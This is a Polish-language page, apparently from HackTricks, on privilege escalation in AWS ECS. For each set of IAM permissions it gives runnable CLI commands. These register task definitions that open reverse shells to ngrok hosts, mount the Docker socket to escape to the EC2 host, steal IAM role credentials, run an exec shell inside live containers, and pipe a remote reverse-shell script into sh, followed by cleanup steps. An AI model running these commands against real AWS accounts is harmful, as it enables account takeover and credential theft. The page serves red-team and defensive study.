AWS - ECS Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

ECS

Więcej informacji na temat ECS znajdziesz w:

pageAWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Atakujący wykorzystujący uprawnienia iam:PassRole, ecs:RegisterTaskDefinition i ecs:RunTask w ECS może generować nową definicję zadania z złośliwym kontenerem, który kradnie poświadczenia metadanych i uruchamia go.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do innego roli ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie poświadczenia metadanych i uruchamia go. Jednak w tym przypadku konieczne jest posiadanie instancji kontenera do uruchomienia złośliwej definicji zadania.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potencjalne zagrożenie: Bezpośrednie podniesienie uprawnień dla dowolnej roli ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService lub ecs:CreateService w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie poświadczenia metadanych i uruchomi go, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potencjalne skutki: Bezpośrednie podniesienie uprawnień dla dowolnej roli ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ten scenariusz jest podobny do poprzednich, ale bez uprawnienia iam:PassRole. Jest to nadal interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez roli, możesz uruchomić kontener z uprawnieniami administratora, aby uciec na węzeł i ukraść rolę EC2 IAM oraz inne role kontenerów ECS działających na węźle. Możesz nawet zmusić inne zadania do uruchomienia się wewnątrz instancji EC2, którą przejmujesz, aby ukraść ich poświadczenia (jak omówiono w sekcji Podniesienie uprawnień do węzła).

Ten atak jest możliwy tylko wtedy, gdy klastr ECS korzysta z instancji EC2, a nie Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Atakujący posiadający uprawnienia ecs:ExecuteCommand, ecs:DescribeTasks może wykonywać polecenia wewnątrz działającego kontenera i wydobywać do niego przypisaną rolę IAM (wymagane są uprawnienia do opisu, ponieważ jest to konieczne do uruchomienia aws ecs execute-command). Jednakże, aby to zrobić, instancja kontenera musi uruchamiać agent ExecuteCommand (który domyślnie tego nie robi).

W związku z tym, atakujący może spróbować:

  • Spróbować uruchomić polecenie w każdym działającym kontenerze

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Jeśli ma uprawnienia ecs:RunTask, uruchom zadanie za pomocą aws ecs run-task --enable-execute-command [...]

  • Jeśli ma uprawnienia ecs:StartTask, uruchom zadanie za pomocą aws ecs start-task --enable-execute-command [...]

  • Jeśli ma uprawnienia ecs:CreateService, utwórz usługę za pomocą aws ecs create-service --enable-execute-command [...]

  • Jeśli ma uprawnienia ecs:UpdateService, zaktualizuj usługę za pomocą aws ecs update-service --enable-execute-command [...]

Przykłady tych opcji można znaleźć w poprzednich sekcjach dotyczących podwyższania uprawnień ECS.

Potencjalne skutki: Podwyższenie uprawnień do innego roli przypisanej do kontenerów.

ssm:StartSession

Sprawdź na stronie dotyczącej podwyższania uprawnień SSM, jak można wykorzystać to uprawnienie do podwyższenia uprawnień do ECS:

pageAWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Sprawdź na stronie dotyczącej podwyższania uprawnień EC2, jak można wykorzystać te uprawnienia do podwyższenia uprawnień do ECS:

pageAWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Czy jest możliwe zarejestrowanie instancji z innego konta AWS, aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Przetestuj to

Atakujący posiadający uprawnienia ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet i ecs:DescribeTaskSets może utworzyć złośliwy zestaw zadań dla istniejącej usługi ECS i zaktualizować główny zestaw zadań. Pozwala to atakującemu na wykonanie dowolnego kodu w ramach usługi.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potencjalne skutki: Wykonanie dowolnego kodu w usłudze, co może wpłynąć na jej funkcjonalność lub wyciek poufnych danych.

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated